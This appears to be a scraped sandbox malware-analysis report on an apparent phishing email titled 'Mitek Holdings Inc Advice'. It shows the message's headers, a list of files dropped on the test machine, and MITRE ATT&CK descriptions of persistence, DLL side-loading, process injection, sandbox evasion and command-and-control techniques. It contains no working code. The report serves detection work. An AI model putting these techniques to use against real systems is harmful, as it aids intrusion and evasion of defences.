Received-SPF	Pass (protection.outlook.com: domain of bassareggiana.it designates 93.47.117.64 as permitted sender) receiver=protection.outlook.com; client-ip=93.47.117.64; helo=mta4-dc.ilger.com; pr=C
X-Amavis-Modified	Mail body modified (using disclaimer) - mta4-dc.ilger.com
X-Virus-Scanned	amavis at mta4-dc.ilger.com
Date	Wed, 03 Jul 2024 18:54:59 +0200
From	Andrea Bonardi <a.bonardi@bassareggiana.it>
To	remittance <remittances@westernunionsmoneytransfer.com>
Message-ID	<1277217176.52991515.1720025699953.JavaMail.zimbra@bassareggiana.it>
Subject	Mitek Holdings Inc Advice
Content-Type	multipart/mixed; boundary="----=_Part_52991511_1702104258.1720025699945"
X-Mailer	Zimbra 9.0.0_GA_4612 (ZimbraWebClient - FF127 (Win)/9.0.0_GA_4612)
Thread-Index	hr3ElKqTN9FypyPII5ZxAqEy8ZZYcQ==
Thread-Topic	Mitek Holdings Inc Advice
Return-Path	a.bonardi@bassareggiana.it
X-EOPAttributedMessage	0
X-EOPTenantAttributedMessage	fa246a9e-8fe0-4eed-9eec-93652a25c4ee:0
X-MS-PublicTrafficType	Email
X-MS-TrafficTypeDiagnostic	MWH0EPF000971E5:EE_\|IA0PR10MB6819:EE_\|SJ0PR10MB4703:EE_
X-MS-Office365-Filtering-Correlation-Id	4a82cb33-d228-48ec-8855-08dc9b811415
X-MS-Exchange-AtpMessageProperties	SA\|SL
X-Microsoft-Antispam	BCL:0;ARA:13230040\|29132699027;
X-Forefront-Antispam-Report	CIP:93.47.117.64;CTRY:IT;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mta4-dc.ilger.com;PTR:mta4-dc.ilger.com;CAT:NONE;SFS:(13230040)(29132699027);DIR:INB;
X-Auto-Response-Suppress	DR, RN, NRN, OOF, AutoReply
X-MS-Exchange-CrossTenant-OriginalArrivalTime	03 Jul 2024 16:56:26.6216 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id	4a82cb33-d228-48ec-8855-08dc9b811415
X-MS-Exchange-CrossTenant-Id	fa246a9e-8fe0-4eed-9eec-93652a25c4ee
X-MS-Exchange-CrossTenant-AuthSource	MWH0EPF000971E5.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	Internet
X-MS-Exchange-Transport-CrossTenantHeadersStamped	IA0PR10MB6819
X-MS-Exchange-Transport-EndToEndLatency	00:00:17.7612830
X-MS-Exchange-Processed-By-BccFoldering	15.20.7719.007
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003)(1420198);
X-Microsoft-Antispam-Message-Info	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
MIME-Version	1.0

File Icon


Icon Hash:	46070c0a8e0c67d6

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23eb97f4-980c-745d-c5e2-6fdb70189e48.eml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Location Tracking

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\839AB9F6-CA20-4F69-B2BF-B6755F4072BB

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\ETS9RD8W\~$Mitek Holdings Inc Remittance Advice.xlsx

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\24F3D46E.png

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\A759858F.xlsx:Zone.Identifier

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\Diagnostics\EXCEL\App1720031521441186300_9DF7721B-D1EB-4A0F-844A-3E3A898E6662.log

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\msoC714.tmp

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\~DFB43CF7CBB735F706.TMP

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\~DFE7272B4093FC720B.TMP

C:\Users\user\AppData\Local\Temp\olk873C.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 124

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 139

Windows Analysis Report
23eb97f4-980c-745d-c5e2-6fdb70189e48.eml